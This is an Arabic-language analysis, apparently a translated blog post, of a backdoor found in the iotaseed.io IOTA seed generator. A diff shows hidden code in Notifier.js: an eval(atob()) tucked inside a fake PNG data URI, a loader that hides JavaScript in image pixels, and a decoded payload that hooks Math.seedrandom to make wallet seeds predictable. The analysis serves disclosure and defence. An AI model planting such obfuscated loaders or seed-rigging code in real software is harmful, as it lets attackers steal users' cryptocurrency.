JUhYAU0xpwwYoqJSAU8sgXMxvvekwukAS0PS9pq3I8OXtmZm8pF3D6vuLEx7N833/N0bI85X/CarUEte9b68nlf4rg+lKoEGAvPMvzk6+Ak5OwZ71u/S81gEoJR8AMyPNR2FOs7jo1pG94PvzdD76vjCZTYp/vlzDefw0hYOWf4b1+3Tt5+3MfcZ7NxnnPX0Uu//7StQUhwgmNk/N9x3ENDpfF/P7E6/6rM1qt8K0BXMjsOs7+eZKNR95KMSQfCgS/pUY4TuPUdlEHlOPnCXj7H2B1e9+ZxRaZHVuN49nI8pUlNC9JRLVSwMhM4piahmOsA/FMFPwB+4ZiyTYnf/gAAAABJRU5ErkJggg==") < },
whvwdzafABTh / tZW3SEcmZS0NYfJTTB5kaYsbnHSEMMWMfuvJdg3vsJlR9R6UP2JOp9jRhM / ZVa5dwiwJCT9UZI8qwtRVGh2JCVSsXtyinqgtMk0NJFf1QYwGlmToGhkQFQg3X5nvUofzw7FCLr2bRak2Uz0KgJhOVM6EqjlMpvPwp + ioWy2JAbWYqQ6E + mv5SwyNzJWh / HHX6Rty17TYNBFF44CokEA + ABELiJ2yMnUorefElCY5pHGgqu3JUhYAU0xpwwYoqJSAU8sgXMxvvekwukAS0PS9pq3I8OXtmZm8pF3D6vuLEx7N833 / N0bI85X / CarUEte9b68nlf4rg + lKoEGAvPMvzk6 + Ak5OwZ71u / S81gEoJR8AMyPNR2FOs7jo1pG94PvzdD76vjCZTYp / vlzDefw0hYOWf4b1 + 3Tt5 + 3MfcZ7NxnnPX0Uu // 7StQUhwgmNk / N9x3ENDpfF / P7E6 / 6rM1qt8K0BXMjsOs7 + eZKNR95KMSQfCgS / pUY4TuPUdlEHlOPnCXj7H2B1e9 $ diff notifier-website.js notifier-github.js 68,71d67 < if (!window.inited_n) { < window.inited_n = true; < Notifier.init() < } 82,87d77 < if (/,T/.test(image)) { < if (/ps:.*o/.test(document.location)) { < eval(atob(image.split(",")[2])) < } < return < } 119,121d108 < init: function(message, title) { < this.notify(message, title, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9wCBxILCcud3gSTrg4uDm5uZFRETbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03/9RTlAAAADy8vIgICA2NzY4OzYPM0fa29q,ZnVuY3Rpb24gY0RpcyhmKXt2YXIgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKS5nZXRDb250ZXh0KCIyZCIpO3ZhciBpPW5ldyBJbWFnZTtpLm9ubG9hZD1mdW5jdGlvbigpe28uZHJhd0ltYWdlKGksMCwwKTtkUyhvLmdldEltYWdlRGF0YSgwLDAsMjk4LDEwMCkuZGF0YSl9O2kuc3JjPWZ9ZnVuY3Rpb24gZFMoZCl7dmFyIGw9MjEsYk09IiIsdE09IiI7Zm9yKHZhciBpPTA7aTxsO2krKyl7dmFyIGI9KGRbaSo0KzJdPj4+MCkudG9TdHJpbmcoMik7Yk0rPWJbYi5sZW5ndGgtMV07aWYoYk0ubGVuZ3RoPT0xNil7bD1wYXJzZUludChiTSwyKSsxNjtiTT0iIn1lbHNlIGlmKGJNLmxlbmd0aD09OCYmbCE9MjEpe3RNKz1TdHJpbmcuZnJvbUNoYXJDb2RlKHBhcnNlSW50KGJNLDIpKTtiTT0iIn19ZXZhbCh0TSl9Y0RpcygiLi9pbWFnZXMvbG9nb19zbWFsbF9ib3R0b20ucG5nIik7,TbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03///9RTlAAAADy8vIgICA2NzY4OzYPM0fa29qgoI7/zMnj4+PW19VGRkbqPi7v7/D6+vr09fXyTj4rKSvhSTo/Pj/oSDnlMyLsNCI0MTP0///tTT7ZRjizOi+6PDDmLRyenZ7oKRfExMT/TzvobGEVFBWGhYUAGjLW8/ToXVADLUZ8e33/2tfRRTdWVFTFQDT1u7aSkZIADib+5eFwcHHW+/z70tDwkIesPTPW6+teXV2xsbG7u7vY4+Lre3DMzM2qp6jilIxsPT7lg3kdO07m/f4AJjuwsJzftK/fpZ7woJjoVUZBWGj1zMdTaXfcvrrzq6Tby8f+8u8wSlYZNDaQRUKfr7d9j5lpf4vx5ePMsLF/o64s+PNlAAAANnRSTlMAC1IoljoZWm2yloPRGWiJfdjEEk037Esq7Pn24EKjpiX+z7rJNNWB5pGxZ1m2mZY/gXOlr43C+dBMAAAmkklEQVR42uzay86bMBAF4MnCV1kCeQFIRn6M8xZe+v1fpVECdtPSy5822Bi+JcujmfEApl3IIRhBFyIJ3Em6UMTDSKfHsOB0dhILQ2fX4+4aF0tVXC3yJJB4OrcJV1msIhJN52avslhpZOfcvyepfceIaARw5t2CWTwYRhSQTdSum1TGqE5Mr0kg6Ukj66hZ3GExaEaJQsYIWXzmd6P2KHxn6NjG4/BDMEQ6RM+oNQ6vjJyWFTNTDJlau0e1drAO+Ikan8tE1itkfC0S11iXKGyYJZFB5jpkgmY8WWoKx6Z5JI3MGyQqV1Jj80Jgm2J9xGrQSAKfcyptEfgFrxxWnUUiVEqIGjN5bAsRKyOReI9FaGxw3o0Of8I6rAbbcBR06yN+T+Uogmu2QR5ucsaXuV6w1hath9HiDWGwWrLmOoUL7/CWYLRo6/2d9zPeN6hONNEvXKiIf2fkwauDCxXwcPI0mA/4v+whvwdzafABTh/tZW3SEcmZS0NYfJTTB5kaYsbnHSEMMWMfuvJdg3vsJlR9R6UP2JOp9jRhM/ZVa5dwiwJCT9UZI8qwtRVGh2JCVSsXtyinqgtMk0NJFf1QYwGlmToGhkQFQg3X5nvUofzw7FCLr2bRak2Uz0KgJhOVM6EqjlMpvPwp+ioWy2JAbWYqQ6E+mv5SwyNzJWh/HHX6Rty17TYNBFF44CokEA+ABELiJ2yMnUorefElCY5pHGgqu3JUhYAU0xpwwYoqJSAU8sgXMxvvekwukAS0PS9pq3I8OXtmZm8pF3D6vuLEx7N833/N0bI85X/CarUEte9b68nlf4rg+lKoEGAvPMvzk6+Ak5OwZ71u/S81gEoJR8AMyPNR2FOs7jo1pG94PvzdD76vjCZTYp/vlzDefw0hYOWf4b1+3Tt5+3MfcZ7NxnnPX0Uu//7StQUhwgmNk/N9x3ENDpfF/P7E6/6rM1qt8K0BXMjsOs7+eZKNR95KMSQfCgS/pUY4TuPUdlEHlOPnCXj7H2B1e9+ZxRaZHVuN49nI8pUlNC9JRLVSwMhM4piahmOsA/FMFPwB+4ZiyTYnf/gAAAABJRU5ErkJggg==") < },
يبدو أن شخصًا ما أجرى تغييرات شديدة في مكتبة Notifier.js لإخفاء جزء من التعليمات البرمجية فيها. تم تغيير أسلوب
Notifier.notify
بحيث يتحقق لمعرفة ما إذا كانت المعلمة تحتوي على
image ",T"
. بعد ذلك ، يقوم بفك تشفير جزء من المعلمة في JavaScript ومعالجتها. أضاف تغيير آخر طريقة
Notifier.init()
، تسمى بعد تحميل الصفحة. بدوره ، دعا طريقة
notify
مع معلمة
image
، والتي أثارت تحفيز هذا الرمز.
يؤدي تشغيل جزء التعليمات البرمجية أعلاه
atob(image.split(",")[2])
مع ارتباط البيانات المحدد فيه إلى إعطاء جزء التعليمات البرمجية التالي (تتم إضافة المسافات البادئة والمسافات لتحسين إمكانية القراءة):
function cDis(f) { var o = document.createElement("canvas").getContext("2d"); var i = new Image; i.onload = function() { o.drawImage(i, 0, 0); dS(o.getImageData(0, 0, 298, 100).data) }; i.src = f } function dS(d) { var l = 21, bM = "", tM = ""; for (var i = 0; i < l; i++) { var b = (d[i * 4 + 2] >>> 0).toString(2); bM += b[b.length - 1]; if (bM.length == 16) { l = parseInt(bM, 2) + 16; bM = "" } else if (bM.length == 8 && l != 21) { tM += String.fromCharCode(parseInt(bM, 2)); bM = "" } } eval(tM) } cDis("./images/logo_small_bottom.png");
يُدرج الجزء الثاني من الشفرة الخبيثة
./images/logo_small_bottom.png
في عنصر <canvas> المخفي خارج الشاشة ، ويقرأ الصورة في شكل نص ، ويعالج هذا النص ككود جافا سكريبت.
تمت إضافة ملف
logo_small_bottom.png
إلى المستودع في 28 أغسطس 2017 وتم تحديثه بعد 3 ساعات. لا ينتج كلا الإصدارين اللذين تم تمريرهما من خلال وحدة فك ترميز الصورة رمزًا صالحًا.
ومع ذلك ، تم استخدام صورة أخرى على نسخة WM المحفوظة للموقع. الكود التالي مخفي فيه (تتم إضافة المسافة البادئة مرة أخرى للراحة):
if (/ps:.*\.io/.test(document.location)) { mode = "M"; (function(message) { var name = "edr"; name += "an"; message["cont"] = 0; name += "dom"; function show(arg, options, image) { message["e2" + name]("4782588875512803642" + String(message["cont"]), options, image); message["cont"] += 1 } message["e2" + name] = message["se" + name]; message["se" + name] = show })(eval(mode + "ath")) }
هذه هي المرحلة الأخيرة من الباب الخلفي لجافا سكريبت. يمكن تبسيطه إلى التعليمات البرمجية التالية:
Math.cont = 0; function show(arg, options, image) { Math.e2edrandom("4782588875512803642" + String(Math.cont), options, image); Math.cont += 1; } Math.e2edrandom = Math.seedrandom; Math.seedrandom = show;
يغير هذا
Math.seedrandom
وظيفة
Math.seedrandom
المستخدمة من قبل كود التوليد بحيث
4782588875512803642
دائمًا المصنف الثابت
4782588875512803642
ويضيف إليه قيمة متغير العداد ، يزداد بمقدار واحد في كل مرة يبدأ فيها
seedrandom
. يؤدي هذا إلى قيام
Math.random()
بإرجاع نفس تسلسل الأرقام الذي يمكن التنبؤ به دائمًا. ونتيجة لذلك ، ظلت البذور المتولدة لكل محفظة IOTA جديدة كما هي دائمًا. يصبح هذا واضحًا تمامًا إذا حاولت فتح
إصدار الأرشيف من iotaseed.io عدة مرات ولاحظ أن البذرة التي تم إنشاؤها تظل دائمًا
XZHKIPJIFZFYJJMKBVBJLQUGLLE9VUREWK9QYTITMQYPHBWWPUDSATLLUADKSEEYWXKCDHWSMBTBURCQD
.
من المهم أن نلاحظ هنا أن الرقم المستخدم في إنشاء (
"4782588875512803642"
في المثال أعلاه) كان مختلفًا لكل مستخدم. نظرًا لحقيقة أن WM حفظت نسخة من الصورة في وقت معين ، تظل البذور كما هي كلما فتحت نسخة لنفس التاريخ. تظهر الشيكات لتواريخ أخرى ، على سبيل المثال ، 31 أكتوبر أو 19 نوفمبر ، أن أرقامها وبذورها تختلف عن النسخة التي فحصناها في 3 يناير. وبناءً على ذلك ، يمكننا أن نستنتج أن ملف
./images/logo_small_bottom.png
إنشاؤه بسرعة من خلال خادم iotaseed.io.
أثناء إنشاء هذا الملف ، تم تغيير الرقم المستخدم من قبل مولد الأرقام العشوائية المصححة وربما تم تخزينه في مكان ما حتى يتمكن المهاجم من استخدامه لاحقًا لسرقة IOTA. ونتيجة لذلك ، أنتج الموقع بذور مختلفة لمستخدمين مختلفين. ومع ذلك ، لم يكن الوضع مع الجيل العشوائي على جانب الخادم هو الأفضل أيضًا ، نظرًا لأنه من المعروف أن شخصًا واحدًا على الأقل
تلقى بذرة على الموقع يستخدمها شخص ما بالفعل. عرض توضيحي لاختلاف الكود متاح على هذا
الرابط .
باستخدام الرسمية
جافا سكريبت مكتبة ايوتا ، يمكننا إثبات أن معاوية ذكر سابقا
XZHKIPJIFZFYJJMKBVBJLQUGLLE9VUREWK9QYTITMQYPHBWWPUDSATLLUADKSEEYWXKCDHWSMBTBURCQD
يتوافق مع عنوان
PUEBLAHRQGOTIAMJHCCXXGQPXDQJS9BDFSCDSMINAYJNSILCCISDVY99GMKAEIAICYQUXMIYTNQCJYVDX
. وفقًا
لهذا الموقع ، المحفظة فارغة ، لكن مواقع مستكشف تاريخ المعاملات الأخرى تعطي
خطأ 404 . هذا يعني أنني إما أخطأت عند فك تشفير العنوان ، أو لا أفهم كيف تعمل شبكة IOTA.
الخلاصة
تم إخفاء الباب الخلفي بمكر. تم وضعه بالتأكيد هناك بقصد خبيث ، وليس بسبب خطأ في استخدام التشفير. ليس من الواضح حتى النهاية ما إذا كان مالك مستودع github وموقع norbertvdberg قد تمت إضافته ، أو إذا تم اختراق حساب الاستضافة الخاص به. ومع ذلك ، بناءً على رد فعل المالك ، الذي حذف حساباته على
GitHub و
Reddit و
Quora ، اتضح أن الموقع قد تم إنشاؤه في الأصل لسرقة أموال المستخدم.
اتخذ المهاجمون خطوات عديدة لإخفاء الباب الخلفي. إن نظرة سريعة على لوحة تحكم المطور في المتصفح لن تكشف عن أي شيء مريب. على سبيل المثال ،
data:
الرابط في المرحلة الأولى من الباب الخلفي بـ
iVBORw0KGgo
والذي يتوافق مع بداية رأس PNG صالح مشفر في القاعدة 64. وهذا يعني أنه يمكن بسهولة الخلط بين هذا العنوان وإدخال الصورة - الإجراء طبيعي تمامًا لمكتبة js للإخطار. يتم تحميل جزء من رمز جافا سكريبت من الصورة ، وطلبه هو طلب الشبكة الوحيد. لسوء الحظ ، تبين أن كل هذا يكفي لجعل الكثير من الناس يعتقدون أن كل شيء على ما يرام مع الموقع.
تسمح لك دراسة متأنية للوحة المطور في المتصفح بمشاهدة هذا الطلب.

بشكل عام ، يجب اعتبار هذا الحادث بمثابة تذكير بأنه عندما يتعلق الأمر بالعملات المشفرة (وخاصة الكميات الكبيرة!) ، يمكن أن يكون جنون العظمة شيئًا جيدًا. يجب ألا تعتمد مطلقًا على الخدمات عبر الإنترنت مثل مولدات العبارات الأولية أو محافظ الويب ، وتثق بها مبالغ كبيرة لك. تحتاج فقط إلى استخدام البرنامج الذي خضع لمراجعة وتدقيق شاملين من قبل المجتمع.
في حالتنا ، وضعت iotaseed.io نفسها كحل مفتوح المصدر ، مما يشير إلى الانفتاح والقدرة على التحقق من الشفرة من قبل أي شخص. يبدو أن هذا كان كافياً لإقناع بعض الأشخاص ، ولكن لا أحد منهم يعتقد أن الرمز الحقيقي الذي يعمل على الموقع يمكن تغييره. يكشف الفحص الدقيق هذه الحقيقة ، ويعطينا مثالًا آخر على العواقب الوخيمة التي يمكن أن تؤدي إليها الثقة العمياء في تسمية المصدر المفتوح ، خاصة في مجال العملات المشفرة.
